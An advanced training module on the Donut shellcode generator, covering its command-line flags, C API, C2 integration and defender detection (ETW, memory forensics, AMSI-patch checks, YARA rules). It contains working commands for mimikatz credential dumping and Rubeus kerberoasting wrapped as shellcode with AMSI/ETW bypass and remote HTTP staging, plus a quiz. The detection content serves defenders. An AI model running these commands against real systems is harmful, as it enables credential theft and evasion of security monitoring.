Difficulty: Advanced

Module 8: Full Chain, Integration & Detection

Putting it all together: command-line usage, C API integration, detection vectors, YARA rules, and memory forensics for Donut payloads.

Module Objective

Learn Donut’s complete command-line interface and C API for programmatic shellcode generation. Understand the detection landscape: what defenders look for, how to write YARA rules for Donut artifacts, memory forensics techniques for identifying Donut loaders, and the limitations of current bypasses.

1. Command-Line Usage

Donut’s command-line interface provides full access to all generation options:

Shell# Basic: Convert a .NET EXE to shellcode
donut -f Rubeus.exe

# .NET EXE with arguments
donut -f Seatbelt.exe -p "-group=all"

# .NET DLL with class, method, and arguments
donut -f SharpHound.dll -c SharpHound.Program -m Main -p "--CollectionMethods All"

# Native DLL: call specific export with arguments
donut -f payload.dll -m RunPayload -p "config_string"

# Native EXE with arguments
donut -f mimikatz.exe -p "privilege::debug sekurlsa::logonpasswords exit"

# VBScript payload
donut -f payload.vbs

# Full options: x64, AMSI/ETW bypass, aPLib compression, exit thread
donut -f Rubeus.exe -a 2 -b 3 -z 1 -e 1 -p "kerberoast"

# HTTP staging: host module on remote server
donut -f Rubeus.exe -u http://10.0.0.1/module -p "kerberoast"

# Output as different formats
donut -f payload.exe -o payload.bin         # Raw binary (default)
donut -f payload.exe -o payload.b64 -f 2    # Base64
donut -f payload.exe -o payload.c -f 3      # C array
donut -f payload.exe -o payload.rb -f 4     # Ruby
donut -f payload.exe -o payload.py -f 5     # Python
donut -f payload.exe -o payload.ps1 -f 6    # PowerShell
donut -f payload.exe -o payload.cs -f 7     # C#
donut -f payload.exe -o payload.hex -f 8    # Hex string
FlagOptionValues
-fInput filePath to PE, .NET, VBS, JS, or XSL file
-aArchitecture1 = x86, 2 = x64, 3 = x86+x64 (dual)
-bBypass level1 = none, 2 = abort on fail, 3 = continue on fail
-zCompression1 = none, 2 = aPLib, 3 = LZNT1, 4 = Xpress, 5 = Xpress Huffman
-eExit option1 = exit thread, 2 = exit process, 3 = don’t exit
-oOutput filePath for generated shellcode (default: loader.bin)
-cClass nameFor .NET DLL: fully qualified class name
-mMethod/Export.NET: method name. DLL: export name
-pParametersArguments passed to the payload
-uStaging URLHTTP(S) URL for remote module hosting
-tNew thread1 = run payload in a new thread

2. C API Integration

Donut exposes a C API through donut.h for programmatic shellcode generation. This allows integration into custom tooling, C2 frameworks, and automated pipelines:

C#include "donut.h"

int main(void) {
    DONUT_CONFIG config;
    memset(&config, 0, sizeof(config));

    // Configure the generation
    config.arch     = DONUT_ARCH_X64;
    config.bypass   = DONUT_BYPASS_CONTINUE;
    config.compress = DONUT_COMPRESS_APLIB;
    config.exit_opt = DONUT_OPT_EXIT_THREAD;
    config.entropy  = DONUT_ENTROPY_DEFAULT;
    config.format   = DONUT_FORMAT_BINARY;

    strncpy(config.input, "Rubeus.exe", DONUT_MAX_NAME);
    strncpy(config.param, "kerberoast", DONUT_MAX_NAME);

    // Generate the shellcode
    int err = DonutCreate(&config);
    if (err != DONUT_ERROR_SUCCESS) {
        printf("Error: %d\n", err);
        return 1;
    }

    // config.pic     = pointer to generated shellcode
    // config.pic_len = size of shellcode in bytes
    printf("Shellcode: %p (%d bytes)\n", config.pic, config.pic_len);

    // Write to file, inject, or use as needed
    FILE *f = fopen("loader.bin", "wb");
    fwrite(config.pic, 1, config.pic_len, f);
    fclose(f);

    // Free the allocated shellcode
    DonutDelete(&config);

    return 0;
}

API Functions

FunctionPurpose
DonutCreate(&config)Generate shellcode based on the config. Returns error code. Populates config.pic and config.pic_len.
DonutDelete(&config)Free the allocated shellcode memory. Must be called after DonutCreate.

3. Integration with C2 Frameworks

Donut is commonly integrated into C2 frameworks for in-memory payload execution. The typical integration pattern is:

C2 Integration Flow

Operator
Selects payload
C2 Server
Calls DonutCreate()
Shellcode
Sent to implant
Implant
Injects shellcode
Payload Runs
In target process

Frameworks like Covenant, PoshC2, and Sliver have integrated or can use Donut for converting .NET tools to injectable shellcode. The operator selects a tool (e.g., Seatbelt), the C2 server generates shellcode via Donut, and the implant receives and injects it.

4. Detection Vector: CLR Loading Events

When Donut loads a .NET assembly, the CLR initialization generates detectable events:

Event SourceWhat It RevealsDetection Value
ETW: Microsoft-Windows-DotNETRuntimeAssembly load events with byte array source (no file path)High — legitimate loads have file paths
ETW: Assembly/Loader keywordCLR version, AppDomain creation, assembly nameMedium — new AppDomains in unexpected processes
Module load callbacksclr.dll / mscorlib.dll loaded in unmanaged processesHigh — CLR in notepad.exe is anomalous
Named pipesCLR debugging pipes created during initializationLow — only present with specific CLR versions

CLR in Unmanaged Processes

The strongest detection signal for Donut .NET payloads is clr.dll being loaded into a process that normally does not host the CLR. If svchost.exe or notepad.exe suddenly loads the .NET runtime, this is highly suspicious. Defenders monitor for this via kernel callbacks (PsSetLoadImageNotifyRoutine) or ETW image load events.

5. Detection Vector: Memory Forensics

Even after encryption, Donut leaves forensic artifacts in memory that can be identified:

ArtifactLocationDescription
Unbacked executable memoryProcess VAD treePrivate PAGE_EXECUTE_READ regions with no file backing — the loader code
PE headers in private memoryAfter PE loadingMZ/PE signatures in non-file-backed memory after the payload is mapped
Decrypted DONUT_INSTANCEAdjacent to loader codeThe instance structure with API pointers and configuration data
COM interface vtablesStack/heapReferences to CLR and scripting COM interfaces from the hosting code
AMSI patch artifactsamsi.dll .text sectionModified bytes at the start of AmsiScanBuffer
Python# Volatility3 plugin concept for detecting Donut artifacts
# Look for CLR in unexpected processes

def detect_donut_clr(self):
    for proc in self.list_processes():
        modules = self.get_loaded_modules(proc)
        module_names = [m.BaseDllName.lower() for m in modules]

        if 'clr.dll' in module_names:
            # Check if this process normally hosts the CLR
            proc_name = proc.ImageFileName.lower()
            if proc_name not in KNOWN_CLR_HOSTS:
                yield DetectionResult(
                    pid=proc.pid,
                    process=proc_name,
                    finding="CLR loaded in unexpected process",
                    severity="HIGH"
                )

6. Detection Vector: AMSI/ETW Patching

Donut’s bypass stubs modify function prologues in loaded DLLs. Defenders can detect these patches:

C// Detection: Check if AmsiScanBuffer has been patched
BOOL IsAMSIPatched(void) {
    HMODULE amsi = GetModuleHandleA("amsi.dll");
    if (!amsi) return FALSE;

    FARPROC scan = GetProcAddress(amsi, "AmsiScanBuffer");
    if (!scan) return FALSE;

    BYTE *code = (BYTE*)scan;

    // Check for common patch patterns:
    // xor eax, eax; ret  (0x31, 0xC0, 0xC3)
    if (code[0] == 0x31 && code[1] == 0xC0 && code[2] == 0xC3)
        return TRUE;

    // mov eax, 0x80070057; ret (E_INVALIDARG)
    if (code[0] == 0xB8 && code[1] == 0x57 && code[2] == 0x00)
        return TRUE;

    // Check against the known clean prologue from the DLL on disk
    // Compare first N bytes against the file-backed version
    return FALSE;
}

Integrity Checking

EDR products periodically compare the in-memory contents of critical functions (like AmsiScanBuffer, EtwEventWrite) against the on-disk DLL. Any differences indicate runtime patching. Some EDRs also hook VirtualProtect and flag permission changes to .text sections of security-relevant DLLs.

7. YARA Rules for Donut

YARA rules can detect Donut artifacts at various stages. Note that because Donut encrypts the payload, YARA is most effective against the loader code itself or unencrypted (entropy=none) variants:

YARArule donut_loader_strings {
    meta:
        description = "Detects Donut loader artifacts"
        author      = "Defense Team"

    strings:
        // API hash resolution patterns
        $hash_loop = { 0F B6 ?? 6A ?? 5? 0F AF ?? 03 }

        // Chaskey ROTR32 round constant pattern (right rotations by 27, 24, 16, 19, 25)
        $chaskey = { C1 C? 1B 33 C? C1 C? 18 }

        // AMSI bypass patch bytes
        $amsi_patch = { 31 C0 C3 }

        // CLR hosting GUIDs (CLSID_CLRMetaHost)
        $clr_guid = { 60 F1 19 92 33 44 CE 4A
                       BD E6 17 7B 31 85 C9 0B }

        // ICorRuntimeHost IID
        $cor_iid  = { 02 C5 27 CB 83 97 B2 11
                      D3 8B 00 00 F8 08 34 2D }

    condition:
        2 of them
}

YARA Limitations

Because Donut generates unique shellcode with random keys on every run, signature-based detection of the encrypted payload is not feasible. YARA rules primarily target the loader code (which is relatively static between versions) or the GUIDs for COM interfaces (which are constants). Custom-compiled Donut variants can trivially evade these rules.

8. Defensive Recommendations

Defense LayerTechniqueWhat It Catches
ETW MonitoringMonitor .NET runtime and assembly load eventsCLR loading in unexpected processes, fileless assembly loads
Module Load CallbacksPsSetLoadImageNotifyRoutine for clr.dllCLR initialization in anomalous processes
Memory ScanningPeriodic scan of private executable memoryPE headers in unbacked memory, loader code signatures
Integrity MonitoringVerify AMSI/ETW function prologues against on-disk copiesRuntime patching of security functions
Behavioral AnalysisMonitor VirtualProtect on .text sections of amsi.dll/ntdll.dllBypass stub installation
Network MonitoringDetect staging server connectionsHTTP/DNS staging downloads
YARA/SigmaLoader code patterns, COM GUID constantsKnown Donut versions (limited by recompilation)

9. The Complete Chain

Full Donut Execution Chain

Generate
donut -f payload
Deliver
Inject / Stage
Find Instance
RIP-relative
PEB Walk
Resolve APIs
Decrypt
Instance + Module
Bypass
AMSI/ETW/WLDP
Decompress
aPLib/LZNT1
Execute
PE/CLR/COM

Course Complete

You have completed the Donut PE-to-Shellcode Masterclass. You now understand the complete architecture from PE loading fundamentals through CLR hosting, Chaskey encryption, PIC loader internals, and the full detection landscape. Use this knowledge to build better offensive tools and stronger defensive detections.

Knowledge Check

1. What is the strongest detection signal for Donut .NET payloads?

The CLR being loaded into an unmanaged process (e.g., notepad.exe or svchost.exe loading clr.dll) is a strong anomaly indicator. Defenders monitor for this via kernel image load callbacks or ETW module load events. The encrypted payload itself is not detectable via signatures due to per-generation randomization.

2. Which Donut API function generates shellcode from a DONUT_CONFIG structure?

DonutCreate(&config) is the main API function. It takes a populated DONUT_CONFIG structure, generates the shellcode, and stores the result in config.pic (pointer) and config.pic_len (size). DonutDelete(&config) frees the allocated memory.

3. Why are YARA signatures limited in effectiveness against Donut shellcode?

Donut generates fresh random encryption keys for every shellcode generation, meaning the encrypted payload portion is different every time. YARA can only reliably match the PIC loader code (which is relatively static between versions) or hardcoded constants like COM GUIDs. Custom-compiled Donut variants can further evade even these signatures.